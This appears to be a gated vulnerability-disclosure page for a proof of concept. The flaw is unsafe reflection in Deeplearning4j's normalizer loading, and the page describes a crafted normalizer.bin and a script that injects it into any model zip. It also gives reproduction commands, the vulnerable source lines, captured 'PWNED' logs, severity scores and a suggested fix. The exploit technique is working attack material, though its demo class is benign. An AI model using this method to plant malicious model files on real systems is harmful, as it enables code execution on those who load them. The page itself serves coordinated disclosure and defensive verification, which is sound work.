You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
These are deliberately malicious Eclipse Deeplearning4j (DL4J) model artifacts that trigger unsafe reflection (arbitrary class loading with static-initializer execution and arbitrary no-arg instantiation) when loaded with DL4J's normalizer-aware ModelSerializer.restore*AndNormalizer / NormalizerSerializer.restore APIs. They are provided solely for coordinated vulnerability disclosure and defensive verification. Use them only inside an isolated sandbox; do not redistribute. By requesting access you confirm you will load these artifacts only in an isolated sandbox, will not redistribute them, and understand they are bug-triggering security-research artifacts. Access is granted to protectai-bot for huntr bounty review and to the vendor for coordinated disclosure.
Log in or Sign Up to review the conditions and access this model content.
DL4J normalizer.bin CUSTOM-strategy unsafe reflection (Class.forName(initialize=true) + newInstance()) β gated PoC
Coordinated-disclosure security-research artifact. Gated β keep private until a fix ships.
β οΈ What these files are
evil_normalizer.bin is a 40-byte hand-crafted DL4J normalizer blob whose CUSTOM-strategy header names an
attacker-controlled class (poc.EvilGadget). When DL4J loads a model saved with a normalizer attached
(via ModelSerializer.restoreMultiLayerNetworkAndNormalizer / restoreNormalizerFromFile /
NormalizerSerializer.restore), NormalizerSerializer.parseHeader reads that class name and passes it to
ND4JClassLoading.loadClassByName = Class.forName(name, initialize=true, cl) with no allowlist, then
calls newInstance() on the result β running the named class's static initializer and no-arg constructor
before a too-late ClassCastException. This is arbitrary class load + instantiation during model load,
before any inference. These files trigger code paths that lead to code execution; load them only in an
isolated sandbox.
This is CWE-470 (unsafe reflection) β it uses no ObjectInputStream, is unaffected by any
JEP-290 ObjectInputFilter, and is distinct from CVE-2025-53001 (the preprocessor.bin /
ObjectInputStream sink). See Responsible disclosure below.
The model file(s)
| File | What it does on load |
|---|---|
evil_normalizer.bin |
The malicious normalizer blob (writeUTF("NORMALIZER"); writeInt(1); writeUTF("CUSTOM"); writeUTF("poc.EvilGadget")). Drop it in as the normalizer.bin entry of a DL4J model .zip; loading via a normalizer-aware API runs poc.EvilGadget's static-init + constructor. |
poc/craft_evil_model.sh |
Injects evil_normalizer.bin as the normalizer.bin entry of any DL4J model .zip, producing evil_model.zip (no pre-built evil_model.zip is shipped β generate it from your own clean DL4J model, or run poc/FullVictim.java which trains one and weaponizes it in-process). |
poc/EvilGadget.java |
Benign demo class β only prints loud markers and dumps its own attribution stack (no shell). Substitute any classpath class with a side-effecting <clinit>/no-arg ctor to demonstrate real impact. |
poc/Victim.java |
Minimal driver: NormalizerSerializer.getDefault().restore(InputStream) on the crafted blob + STANDARDIZE negative control. |
poc/FullVictim.java |
Full model-file driver: trains a real MultiLayerNetwork, injects the malicious normalizer.bin, then loads via ModelSerializer.restoreMultiLayerNetworkAndNormalizer(evil_model.zip, true). |
Root cause (code)
DL4J 1.0.0-M2.1. org.nd4j.linalg.dataset.api.preprocessor.serializer.NormalizerSerializer (artifact
org.nd4j:nd4j-api) β line numbers from the proven M2.1 runtime stack (parseHeader:241,
getStrategy:174):
// parseHeader(...) β CUSTOM branch
String strategyClassName = dis.readUTF(); // attacker-controlled FQCN
Class<? extends NormalizerSerializerStrategy> strategyClass =
ND4JClassLoading.loadClassByName(strategyClassName); // L241: NO allowlist
// getStrategy(Header header)
return header.customStrategyClass.newInstance(); // L174: no-arg ctor; cast too late
org.nd4j.common.config.ND4JClassLoading (artifact org.nd4j:nd4j-common) β the unguarded loader
(runtime: loadClassByName:56, :62):
public static <T> Class<T> loadClassByName(String className) {
return loadClassByName(className, true, nd4jClassloader); // initialize = TRUE
}
public static <T> Class<T> loadClassByName(String className, boolean initialize, ClassLoader cl) {
return (Class<T>) Class.forName(className, initialize, cl); // unchecked erased cast
}
The @SuppressWarnings("unchecked") erased cast returns Class<T> without verifying
T <: NormalizerSerializerStrategy. The ClassCastException is thrown only when the constructed object is
assigned to NormalizerSerializerStrategy β strictly after Class.forName(initialize=true) ran
<clinit> and newInstance() ran the constructor.
Reached through org.deeplearning4j.util.ModelSerializer (deeplearning4j-core): the normalizer.bin
entry of the model zip β restoreNormalizerFromMap β NormalizerSerializer.getDefault().restore(...). Only
normalizer-aware APIs reach it (restore*AndNormalizer, restoreNormalizerFrom*, direct
NormalizerSerializer.restore); bare restoreMultiLayerNetwork(File) does not.
Reproduction
# Minimal vector (deps: org.nd4j:nd4j-api:1.0.0-M2.1 only)
docker run --rm -v "$PWD:/poc" -w /poc maven:3.9-eclipse-temurin-11 mvn -B package
docker run --rm -v "$PWD:/poc" -w /poc maven:3.9-eclipse-temurin-11 \
java -jar target/poc-jar-with-dependencies.jar exploit # writes /tmp/dl4j_pwned_marker
docker run --rm -v "$PWD:/poc" -w /poc maven:3.9-eclipse-temurin-11 \
java -jar target/poc-jar-with-dependencies.jar negative # STANDARDIZE control, no marker
# Weaponize an arbitrary clean DL4J model zip
poc/craft_evil_model.sh clean_model.zip evil_model.zip
# then load evil_model.zip via ModelSerializer.restoreMultiLayerNetworkAndNormalizer(file, true)
# Full model-file vector (deps: deeplearning4j-core + nd4j-native-platform; mainClass poc.FullVictim)
# trains a real model, injects normalizer.bin, loads it -> writes /tmp/dl4j_model_pwned_marker
poc/Dockerfile + poc/run.sh reproduce the exact environment (Docker maven:3.9-eclipse-temurin-11,
JDK 11). poc/pom.xml = minimal; poc/pom-full.xml = full model-file vector.
Observed results (verbatim)
Minimal vector (logs/stdout.log + logs/attribution_stack.log):
=== EXPLOIT: CUSTOM header -> arbitrary class load+instantiate ===
Crafted blob (40 bytes), target class = poc.EvilGadget
!!! PWNED (static init) via DL4J NormalizerSerializer CUSTOM β static initializer ran on model load !!!
!!! PWNED via DL4J NormalizerSerializer CUSTOM β code exec on model load !!!
restore() threw AFTER gadget ran (expected): java.lang.ClassCastException: class poc.EvilGadget cannot be cast to class org.nd4j.linalg.dataset.api.preprocessor.serializer.NormalizerSerializerStrategy ...
EXPLOIT marker /tmp/dl4j_pwned_marker present = true
VERDICT: CONFIRMED β attacker class no-arg ctor + static init executed on normalizer restore.
threw_after_gadget=true
Attribution (library frames prove the flow goes through DL4J, not a direct call):
at poc.EvilGadget.<clinit>(EvilGadget.java:19)
at java.base/java.lang.Class.forName(Class.java:398)
at org.nd4j.common.config.ND4JClassLoading.loadClassByName(ND4JClassLoading.java:62)
at org.nd4j.common.config.ND4JClassLoading.loadClassByName(ND4JClassLoading.java:56)
at org.nd4j.linalg.dataset.api.preprocessor.serializer.NormalizerSerializer.parseHeader(NormalizerSerializer.java:241)
at org.nd4j.linalg.dataset.api.preprocessor.serializer.NormalizerSerializer.restore(NormalizerSerializer.java:114)
Full model-file vector (logs/model_vector.log):
Saved clean model: /tmp/clean_model.zip (958 bytes)
Wrote weaponized model: /tmp/evil_model.zip (1120 bytes)
=== Victim: ModelSerializer.restoreMultiLayerNetworkAndNormalizer(evil_model.zip, true) ===
!!! PWNED (static init) via ModelSerializer.restore*AndNormalizer β model-file load !!!
!!! PWNED via ModelSerializer.restore*AndNormalizer β code exec on model-file load !!!
MODEL-VECTOR marker present = true
VERDICT: CONFIRMED β arbitrary code exec from DL4J *.zip model file via normalizer.bin
threw_after_gadget=true
RUN_EXIT=0
...
at org.nd4j.linalg.dataset.api.preprocessor.serializer.NormalizerSerializer.getStrategy(NormalizerSerializer.java:174)
at org.deeplearning4j.util.ModelSerializer.restoreNormalizerFromMap(ModelSerializer.java:927)
at org.deeplearning4j.util.ModelSerializer.restoreMultiLayerNetworkAndNormalizer(ModelSerializer.java:410)
Negative control (logs/negative_control.log) β class-load reached ONLY on the attacker-chosen CUSTOM branch:
=== NEGATIVE CONTROL: STANDARDIZE header (no class name) ===
restore() threw (expected, no registered/legacy strategy match): java.io.EOFException: null
NEGATIVE-CONTROL marker present = false (expected: false β gadget must NOT load)
NEGATIVE-CONTROL: PASS
Affected versions
All Eclipse Deeplearning4j versions β€ 1.0.0-M2.1 (entire release history; M2.1 is the current latest).
No fix exists. The CUSTOM-strategy branch is part of the published API; no ObjectInputFilter mitigates it.
Severity (CVSS)
- Lead (conditional RCE):
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H= 7.8 High - Floor (unconditional primitive β forced static-init + no-arg instantiation = guaranteed DoS):
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H= 6.6 Medium - AV:N ceiling (hub-delivered model):
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H= 8.8 High (noted).
Turnkey OS-command execution is conditional on a side-effecting gadget class (side-effecting <clinit> /
no-arg ctor) on the victim's broader/transitive classpath β none in vanilla deeplearning4j-core, common in
serving stacks (DB pool initializers, JNDI context factories, scripting engines, plugin loaders). The
attacker primitive supplies only a class-NAME string, so classic ysoserial field-injection chains do not
apply. No shell is demonstrated here.
CWE
CWE-470 (Use of Externally-Controlled Input to Select Classes or Code / Unsafe Reflection).
Suggested fix
Allowlist customStrategyClass to classes registered as CustomSerializerStrategy /
NormalizerSerializerStrategy subtypes, and/or resolve the name with
Class.forName(name, /*initialize=*/ false, cl) + an isAssignableFrom check before initializing or
calling newInstance(). ND4JClassLoading.loadClassByName should not default to initialize=true for
deserialization-driven class names.
Responsible disclosure
Reported via huntr (ProtectAI). This repo is gated and kept private until the vendor ships a fix and
publication is agreed. Do not redistribute. Distinct from CVE-2025-53001 (the preprocessor.bin /
ObjectInputStream sink) and from Issue #10428 β whose "preprocessor or normalizer entries" refers
exclusively to the deprecated ObjectInputStream.readObject() DataNormalization path (ModelSerializer
L971-973); the reflective NormalizerSerializer.parseHeader CUSTOM sink is not mentioned in #10428 in any
form. Different ZIP entry, engine (reflection, not readObject), CWE (470 vs 502), and fix surface (class
allowlist vs ObjectInputFilter); a JEP-290 ObjectInputFilter does not mitigate this path. Credit:
j0hndo.